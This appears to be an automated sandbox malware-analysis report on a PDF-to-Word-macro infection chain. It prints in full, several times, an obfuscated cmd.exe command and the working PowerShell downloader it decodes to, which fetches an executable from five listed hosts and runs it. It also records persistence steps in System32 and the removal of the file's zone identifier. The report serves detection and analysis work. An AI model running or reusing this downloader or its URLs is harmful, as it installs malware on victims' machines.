Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..3....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....3..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...$3..........................s.k.t.o.p.>.@..Jt.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J..3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...03............................2..@..`.2. .4.`...`.....*u..2.........=..=........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.4.8.,.1.!. ...............2..@..`.2. .4...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...<3..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\...B3..........................<3........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.4.8. .E.Q.U. .0. .H3..............................\...B3................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l.N3....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...Z3..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\...a3..........................s.k.t.o.p.>.@..J..3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..Jx.3.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\...m3............................2..@..`.2. .4.`...`.....*u..2.........=..=........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.4.7.,.1.!. ...............2..@..`.2. .4...o.........,....E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .&.&. .........\...y3..................................,.................o.4............F.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................i.f. ...........\....3..........................y3........................o..............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................5.4.7. .E.Q.U. .0. ..3..............................\....3................o.....d.......`I.J....\...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................p.o.w.e.r.s.h.e.l.l..3....................................o.....................t...............UF.J
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....3..........................@F.J....P.......D....m.Jp.o.h............E.J........
Source: C:\Windows\System32\cmd.exeConsole Write: ....................................\....3..........................s.k.t.o.p.>.@..Jx.3.......o.....8........E.J....0...
Source: C:\Windows\System32\cmd.exeConsole Write: ....................C.:.\.U.s.e.r.s.\.l.u.k.e.t.a.y.l.o.r.\.D.e.s.k.t.o.p.>.@..J.P4.................<...8..........w....
Source: C:\Windows\System32\cmd.exeConsole Write: ....................s.e.t...........\....3............................2..@..`.2..S4.`...`.....*u..2.....................
Source: C:\Windows\System32\cmd.exeConsole Write: .................... .j.t.C.=.!.j.t.C.!.!.N.O.:.~.5.4.6.,.1.!. ...............2..@..`.2..S4...o.........,....E.J........
Parts of this applications are using the .NET runtime (Probably coded in C#)Show sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
Reads ini filesShow sources
Source: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exeFile read: C:\Users\desktop.iniJump to behavior
Reads software policiesShow sources
Source: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
Spawns processesShow sources
Source: unknownProcess created: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe 'C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe' 'C:\Users\user\Desktop\DOC-642857352.pdf'
Source: unknownProcess created: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe 'C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe' --channel=3696.0.183658897 --type=renderer 'C:\Users\user\Desktop\DOC-642857352.pdf'
Source: unknownProcess created: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe 'C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe' /b /id 3000_8762 /if pdfshell_sh9b3f8bf1-1e2c-4514-b721-04f1240671c4 --shell-broker-channel=broker_pdfshell_shb848e49c-307c-4242-8ab2-d00ee16010cc
Source: unknownProcess created: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe 'C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe' --channel=3808.0.1048347210 --type=renderer --shell-broker-channel=broker_pdfshell_shb848e49c-307c-4242-8ab2-d00ee16010cc /b /id 3000_8762 /if pdfshell_sh9b3f8bf1-1e2c-4514-b721-04f1240671c4
Source: unknownProcess created: C:\Program Files\Internet Explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' http://avrasyaorganizasyon.net/5087642DQPJSQC/BIZ/US
Source: unknownProcess created: C:\Program Files\Internet Explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' SCODEF:1992 CREDAT:275457 /prefetch:2
Source: unknownProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /n 'C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\12SKZKHD\PAYMENT _223848OEIWWWS.doc
Source: unknownProcess created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c C:\Windows\system32\cmd.exe /V/C'set NO= }}{hctac}}kaerb;miZ$ ssecorP-tratS;)miZ$(elifotevas.icW$;)ydoBesnopser.pFo$(etirw.icW$;1 = epyt.icW$;)(nepo.icW${ )'*ZM*' ekil- txetesnopser.pFo$( fI;)(dnes.pFo$;)0,kkN$,'TEG'(nepo.pFo${yrt{)jLw$ ni kkN$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = icW$;'ptthlmx.2lmxsm' moc- tcejbO-weN= pFo$;)'exe.hsr\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=miZ$;)'@'(tilpS.'ZQgHugt/ehcac/rotartsinimda/ur.sur-yelwon//:ptth@4VdQeG/moc.steemerutnev//:ptth@I4ow42l/20000/tnetnoc-pw/ra.ude.tnu.noisnetxeairaterces//:ptth@Zt5waA/moc.sruotocetpyge//:ptth@Vwguf1ym/moc.ruot-xnihps//:ptth'=jLw$;'Hww'=Ftz$ llehsrewop&&for /L %U in (601;-1;0)do set jtC=!jtC!!NO:~%U,1!&&if %U equ 0 powershell '!jtC:*jtC!=!' '
Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /V/C'set NO= }}{hctac}}kaerb;miZ$ ssecorP-tratS;)miZ$(elifotevas.icW$;)ydoBesnopser.pFo$(etirw.icW$;1 = epyt.icW$;)(nepo.icW${ )'*ZM*' ekil- txetesnopser.pFo$( fI;)(dnes.pFo$;)0,kkN$,'TEG'(nepo.pFo${yrt{)jLw$ ni kkN$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = icW$;'ptthlmx.2lmxsm' moc- tcejbO-weN= pFo$;)'exe.hsr\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=miZ$;)'@'(tilpS.'ZQgHugt/ehcac/rotartsinimda/ur.sur-yelwon//:ptth@4VdQeG/moc.steemerutnev//:ptth@I4ow42l/20000/tnetnoc-pw/ra.ude.tnu.noisnetxeairaterces//:ptth@Zt5waA/moc.sruotocetpyge//:ptth@Vwguf1ym/moc.ruot-xnihps//:ptth'=jLw$;'Hww'=Ftz$ llehsrewop&&for /L %U in (601;-1;0)do set jtC=!jtC!!NO:~%U,1!&&if %U equ 0 powershell '!jtC:*jtC!=!' '
Source: unknownProcess created: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'powershell $ztF='wwH';$wLj='http://sphinx-tour.com/my1fugwV@http://egyptecotours.com/Aaw5tZ@http://secretariaextension.unt.edu.ar/wp-content/00002/l24wo4I@http://venturemeets.com/GeQdV4@http://nowley-rus.ru/administrator/cache/tguHgQZ'.Split('@');$Zim=([System.IO.Path]::GetTempPath()+'\rsh.exe');$oFp =New-Object -com 'msxml2.xmlhttp';$Wci = New-Object -com 'adodb.stream';foreach($Nkk in $wLj){try{$oFp.open('GET',$Nkk,0);$oFp.send();If ($oFp.responsetext -like '*MZ*') {$Wci.open();$Wci.type = 1;$Wci.write($oFp.responseBody);$Wci.savetofile($Zim);Start-Process $Zim;break}}catch{}} '
Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' =wwH
Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\rsh.exe 'C:\Users\user\AppData\Local\Temp\rsh.exe'
Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\rsh.exe C:\Users\user\AppData\Local\Temp\rsh.exe
Source: unknownProcess created: C:\Windows\System32\echoshims.exe C:\Windows\system32\echoshims.exe
Source: unknownProcess created: C:\Windows\System32\echoshims.exe C:\Windows\system32\echoshims.exe
Source: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exeProcess created: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe 'C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe' --channel=3696.0.183658897 --type=renderer 'C:\Users\user\Desktop\DOC-642857352.pdf'Jump to behavior
Source: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exeProcess created: C:\Program Files\Internet Explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' http://avrasyaorganizasyon.net/5087642DQPJSQC/BIZ/USJump to behavior
Source: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exeProcess created: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe 'C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe' --channel=3808.0.1048347210 --type=renderer --shell-broker-channel=broker_pdfshell_shb848e49c-307c-4242-8ab2-d00ee16010cc /b /id 3000_8762 /if pdfshell_sh9b3f8bf1-1e2c-4514-b721-04f1240671c4Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exeProcess created: C:\Program Files\Internet Explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' SCODEF:1992 CREDAT:275457 /prefetch:2Jump to behavior
Source: C:\Program Files\Internet Explorer\iexplore.exeProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /n 'C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\12SKZKHD\PAYMENT _223848OEIWWWS.docJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c C:\Windows\system32\cmd.exe /V/C'set NO= }}{hctac}}kaerb;miZ$ ssecorP-tratS;)miZ$(elifotevas.icW$;)ydoBesnopser.pFo$(etirw.icW$;1 = epyt.icW$;)(nepo.icW${ )'*ZM*' ekil- txetesnopser.pFo$( fI;)(dnes.pFo$;)0,kkN$,'TEG'(nepo.pFo${yrt{)jLw$ ni kkN$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = icW$;'ptthlmx.2lmxsm' moc- tcejbO-weN= pFo$;)'exe.hsr\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=miZ$;)'@'(tilpS.'ZQgHugt/ehcac/rotartsinimda/ur.sur-yelwon//:ptth@4VdQeG/moc.steemerutnev//:ptth@I4ow42l/20000/tnetnoc-pw/ra.ude.tnu.noisnetxeairaterces//:ptth@Zt5waA/moc.sruotocetpyge//:ptth@Vwguf1ym/moc.ruot-xnihps//:ptth'=jLw$;'Hww'=Ftz$ llehsrewop&&for /L %U in (601;-1;0)do set jtC=!jtC!!NO:~%U,1!&&if %U equ 0 powershell '!jtC:*jtC!=!' '
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /V/C'set NO= }}{hctac}}kaerb;miZ$ ssecorP-tratS;)miZ$(elifotevas.icW$;)ydoBesnopser.pFo$(etirw.icW$;1 = epyt.icW$;)(nepo.icW${ )'*ZM*' ekil- txetesnopser.pFo$( fI;)(dnes.pFo$;)0,kkN$,'TEG'(nepo.pFo${yrt{)jLw$ ni kkN$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = icW$;'ptthlmx.2lmxsm' moc- tcejbO-weN= pFo$;)'exe.hsr\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=miZ$;)'@'(tilpS.'ZQgHugt/ehcac/rotartsinimda/ur.sur-yelwon//:ptth@4VdQeG/moc.steemerutnev//:ptth@I4ow42l/20000/tnetnoc-pw/ra.ude.tnu.noisnetxeairaterces//:ptth@Zt5waA/moc.sruotocetpyge//:ptth@Vwguf1ym/moc.ruot-xnihps//:ptth'=jLw$;'Hww'=Ftz$ llehsrewop&&for /L %U in (601;-1;0)do set jtC=!jtC!!NO:~%U,1!&&if %U equ 0 powershell '!jtC:*jtC!=!' '
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'powershell $ztF='wwH';$wLj='http://sphinx-tour.com/my1fugwV@http://egyptecotours.com/Aaw5tZ@http://secretariaextension.unt.edu.ar/wp-content/00002/l24wo4I@http://venturemeets.com/GeQdV4@http://nowley-rus.ru/administrator/cache/tguHgQZ'.Split('@');$Zim=([System.IO.Path]::GetTempPath()+'\rsh.exe');$oFp =New-Object -com 'msxml2.xmlhttp';$Wci = New-Object -com 'adodb.stream';foreach($Nkk in $wLj){try{$oFp.open('GET',$Nkk,0);$oFp.send();If ($oFp.responsetext -like '*MZ*') {$Wci.open();$Wci.type = 1;$Wci.write($oFp.responseBody);$Wci.savetofile($Zim);Start-Process $Zim;break}}catch{}} '
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' =wwH
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Local\Temp\rsh.exe 'C:\Users\user\AppData\Local\Temp\rsh.exe'
Source: C:\Users\user\AppData\Local\Temp\rsh.exeProcess created: C:\Users\user\AppData\Local\Temp\rsh.exe C:\Users\user\AppData\Local\Temp\rsh.exe
Source: C:\Windows\System32\echoshims.exeProcess created: C:\Windows\System32\echoshims.exe C:\Windows\system32\echoshims.exe
Uses an in-process (OLE) Automation serverShow sources
Source: C:\Program Files\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Uses Rich Edit ControlsShow sources
Source: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exeFile opened: C:\Windows\system32\Msftedit.dllJump to behavior
Found graphical window changes (likely an installer)Show sources
Source: Window RecorderWindow detected: More than 3 window changes detected
Uses Microsoft SilverlightShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll
Checks if Microsoft Office is installedShow sources
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Uses new MSVCR DllsShow sources
Source: C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exeFile opened: C:\Windows\system32\MSVCR100.dllJump to behavior
Binary contains paths to debug symbolsShow sources
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.1058862175.044DD000.00000004.sdmp
Source: Binary string: C:\Windows\System.pdbn. source: powershell.exe, 0000000F.00000002.1055630754.01BB7000.00000004.sdmp
Source: Binary string: Pb730.pdb source: powershell.exe, 0000000F.00000003.1047870554.04575000.00000004.sdmp, rsh.exe, 00000012.00000000.1043417543.00403000.00000002.sdmp, rsh.exe, 00000013.00000000.1050254699.00403000.00000002.sdmp, echoshims.exe, 00000014.00000002.1065447750.00403000.00000002.sdmp, echoshims.exe, 00000015.00000000.1064173246.00403000.00000002.sdmp, rsh.exe.15.dr
Source: Binary string: C:\Windows\dll\System.pdb\S source: powershell.exe, 0000000F.00000002.1055630754.01BB7000.00000004.sdmp
Source: Binary string: ion.pdb source: powershell.exe, 0000000F.00000002.1055630754.01BB7000.00000004.sdmp
Source: Binary string: dows\System.Management.Automation.pdbpdbion.pdbn\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.1042404798.003A1000.00000004.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.1058862175.044DD000.00000004.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000000F.00000002.1055630754.01BB7000.00000004.sdmp, powershell.exe, 00000010.00000002.1053825437.01B87000.00000004.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000000F.00000002.1055630754.01BB7000.00000004.sdmp, powershell.exe, 00000010.00000002.1053825437.01B87000.00000004.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 0000000F.00000002.1055527636.01B50000.00000002.sdmp, powershell.exe, 00000010.00000002.1053695006.01B20000.00000002.sdmp
Source: Binary string: indows\System.Management.Automation.pdbpdbion.pdb source: powershell.exe, 00000010.00000002.1053825437.01B87000.00000004.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdb source: powershell.exe, 0000000F.00000002.1055630754.01BB7000.00000004.sdmp, powershell.exe, 00000010.00000002.1053825437.01B87000.00000004.sdmp
PDF has a JavaScript or JS counter value indicative of goodwareShow sources
Source: DOC-642857352.pdfInitial sample: PDF keyword /JS count = 0
Source: DOC-642857352.pdfInitial sample: PDF keyword /JavaScript count = 0
PDF has an EmbeddedFile counter value indicative of goodwareShow sources
Source: DOC-642857352.pdfInitial sample: PDF keyword /EmbeddedFile count = 0

Data Obfuscation:

barindex
Document contains an embedded VBA with many randomly named variablesShow sources
Source: PAYMENT _223848OEIWWWS[1].doc.8.drStream path 'Macros/VBA/vUOGvVsqYQkM' : High entropy of concatenated variable names
Source: PAYMENT _223848OEIWWWS.doc.3sjibq6.partial.8.drStream path 'Macros/VBA/vUOGvVsqYQkM' : High entropy of concatenated variable names
Obfuscated command line foundShow sources
Source: unknownProcess created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c C:\Windows\system32\cmd.exe /V/C'set NO= }}{hctac}}kaerb;miZ$ ssecorP-tratS;)miZ$(elifotevas.icW$;)ydoBesnopser.pFo$(etirw.icW$;1 = epyt.icW$;)(nepo.icW${ )'*ZM*' ekil- txetesnopser.pFo$( fI;)(dnes.pFo$;)0,kkN$,'TEG'(nepo.pFo${yrt{)jLw$ ni kkN$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = icW$;'ptthlmx.2lmxsm' moc- tcejbO-weN= pFo$;)'exe.hsr\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=miZ$;)'@'(tilpS.'ZQgHugt/ehcac/rotartsinimda/ur.sur-yelwon//:ptth@4VdQeG/moc.steemerutnev//:ptth@I4ow42l/20000/tnetnoc-pw/ra.ude.tnu.noisnetxeairaterces//:ptth@Zt5waA/moc.sruotocetpyge//:ptth@Vwguf1ym/moc.ruot-xnihps//:ptth'=jLw$;'Hww'=Ftz$ llehsrewop&&for /L %U in (601;-1;0)do set jtC=!jtC!!NO:~%U,1!&&if %U equ 0 powershell '!jtC:*jtC!=!' '
Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /V/C'set NO= }}{hctac}}kaerb;miZ$ ssecorP-tratS;)miZ$(elifotevas.icW$;)ydoBesnopser.pFo$(etirw.icW$;1 = epyt.icW$;)(nepo.icW${ )'*ZM*' ekil- txetesnopser.pFo$( fI;)(dnes.pFo$;)0,kkN$,'TEG'(nepo.pFo${yrt{)jLw$ ni kkN$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = icW$;'ptthlmx.2lmxsm' moc- tcejbO-weN= pFo$;)'exe.hsr\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=miZ$;)'@'(tilpS.'ZQgHugt/ehcac/rotartsinimda/ur.sur-yelwon//:ptth@4VdQeG/moc.steemerutnev//:ptth@I4ow42l/20000/tnetnoc-pw/ra.ude.tnu.noisnetxeairaterces//:ptth@Zt5waA/moc.sruotocetpyge//:ptth@Vwguf1ym/moc.ruot-xnihps//:ptth'=jLw$;'Hww'=Ftz$ llehsrewop&&for /L %U in (601;-1;0)do set jtC=!jtC!!NO:~%U,1!&&if %U equ 0 powershell '!jtC:*jtC!=!' '
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess created: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c C:\Windows\system32\cmd.exe /V/C'set NO= }}{hctac}}kaerb;miZ$ ssecorP-tratS;)miZ$(elifotevas.icW$;)ydoBesnopser.pFo$(etirw.icW$;1 = epyt.icW$;)(nepo.icW${ )'*ZM*' ekil- txetesnopser.pFo$( fI;)(dnes.pFo$;)0,kkN$,'TEG'(nepo.pFo${yrt{)jLw$ ni kkN$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = icW$;'ptthlmx.2lmxsm' moc- tcejbO-weN= pFo$;)'exe.hsr\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=miZ$;)'@'(tilpS.'ZQgHugt/ehcac/rotartsinimda/ur.sur-yelwon//:ptth@4VdQeG/moc.steemerutnev//:ptth@I4ow42l/20000/tnetnoc-pw/ra.ude.tnu.noisnetxeairaterces//:ptth@Zt5waA/moc.sruotocetpyge//:ptth@Vwguf1ym/moc.ruot-xnihps//:ptth'=jLw$;'Hww'=Ftz$ llehsrewop&&for /L %U in (601;-1;0)do set jtC=!jtC!!NO:~%U,1!&&if %U equ 0 powershell '!jtC:*jtC!=!' '
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /V/C'set NO= }}{hctac}}kaerb;miZ$ ssecorP-tratS;)miZ$(elifotevas.icW$;)ydoBesnopser.pFo$(etirw.icW$;1 = epyt.icW$;)(nepo.icW${ )'*ZM*' ekil- txetesnopser.pFo$( fI;)(dnes.pFo$;)0,kkN$,'TEG'(nepo.pFo${yrt{)jLw$ ni kkN$(hcaerof;'maerts.bdoda' moc- tcejbO-weN = icW$;'ptthlmx.2lmxsm' moc- tcejbO-weN= pFo$;)'exe.hsr\'+)(htaPpmeTteG::]htaP.OI.metsyS[(=miZ$;)'@'(tilpS.'ZQgHugt/ehcac/rotartsinimda/ur.sur-yelwon//:ptth@4VdQeG/moc.steemerutnev//:ptth@I4ow42l/20000/tnetnoc-pw/ra.ude.tnu.noisnetxeairaterces//:ptth@Zt5waA/moc.sruotocetpyge//:ptth@Vwguf1ym/moc.ruot-xnihps//:ptth'=jLw$;'Hww'=Ftz$ llehsrewop&&for /L %U in (601;-1;0)do set jtC=!jtC!!NO:~%U,1!&&if %U equ 0 powershell '!jtC:*jtC!=!' '
Suspicious powershell command line foundShow sources
Source: unknownProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'powershell $ztF='wwH';$wLj='http://sphinx-tour.com/my1fugwV@http://egyptecotours.com/Aaw5tZ@http://secretariaextension.unt.edu.ar/wp-content/00002/l24wo4I@http://venturemeets.com/GeQdV4@http://nowley-rus.ru/administrator/cache/tguHgQZ'.Split('@');$Zim=([System.IO.Path]::GetTempPath()+'\rsh.exe');$oFp =New-Object -com 'msxml2.xmlhttp';$Wci = New-Object -com 'adodb.stream';foreach($Nkk in $wLj){try{$oFp.open('GET',$Nkk,0);$oFp.send();If ($oFp.responsetext -like '*MZ*') {$Wci.open();$Wci.type = 1;$Wci.write($oFp.responseBody);$Wci.savetofile($Zim);Start-Process $Zim;break}}catch{}} '
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell 'powershell $ztF='wwH';$wLj='http://sphinx-tour.com/my1fugwV@http://egyptecotours.com/Aaw5tZ@http://secretariaextension.unt.edu.ar/wp-content/00002/l24wo4I@http://venturemeets.com/GeQdV4@http://nowley-rus.ru/administrator/cache/tguHgQZ'.Split('@');$Zim=([System.IO.Path]::GetTempPath()+'\rsh.exe');$oFp =New-Object -com 'msxml2.xmlhttp';$Wci = New-Object -com 'adodb.stream';foreach($Nkk in $wLj){try{$oFp.open('GET',$Nkk,0);$oFp.send();If ($oFp.responsetext -like '*MZ*') {$Wci.open();$Wci.type = 1;$Wci.write($oFp.responseBody);$Wci.savetofile($Zim);Start-Process $Zim;break}}catch{}} '
Contains functionality to dynamically determine API callsShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_00211A36 LoadLibraryA,GetProcAddress,18_2_00211A36
PE file contains an invalid checksumShow sources
Source: rsh.exe.15.drStatic PE information: real checksum: 0xc32a9a69 should be: 0x2c707
PE file contains sections with non-standard namesShow sources
Source: rsh.exe.15.drStatic PE information: section name: CONST
Uses code obfuscation techniques (call, push, ret)Show sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_00425C62 push edi; iretd 18_2_00425C65
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_004082AC push eax; retf 18_2_004082BA
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_00426114 push edi; iretd 18_2_00426115
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_0040A535 push esi; iretd 18_2_0040A54B
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_00407BCD push edx; retf 18_2_00407BD3
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 18_2_00425F96 push ecx; retf 18_2_00425F97
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_00425C62 push edi; iretd 19_2_00425C65
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_004082AC push eax; retf 19_2_004082BA
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_00426114 push edi; iretd 19_2_00426115
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_0040A535 push esi; iretd 19_2_0040A54B
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_00407BCD push edx; retf 19_2_00407BD3
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_00425F96 push ecx; retf 19_2_00425F97

Persistence and Installation Behavior:

barindex
Drops executables to the windows directory (C:\Windows) and starts themShow sources
Source: C:\Windows\System32\echoshims.exeExecutable created and started: C:\Windows\System32\echoshims.exe
Drops PE filesShow sources
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\rsh.exeJump to dropped file
Drops PE files to the windows directory (C:\Windows)Show sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exePE file moved: C:\Windows\System32\echoshims.exe

Boot Survival:

barindex
Contains functionality to start windows servicesShow sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeCode function: 19_2_0021F9F1 StartServiceW,CloseServiceHandle,CloseServiceHandle,19_2_0021F9F1

Hooking and other Techniques for Hiding and Protection:

barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)Show sources
Source: C:\Users\user\AppData\Local\Temp\rsh.exeFile opened: C:\Windows\system32\echoshims.exe:Zone.Identifier read attributes | delete
Starts Microsoft Word (often done to prevent that the user detects that something wrong)Show sources
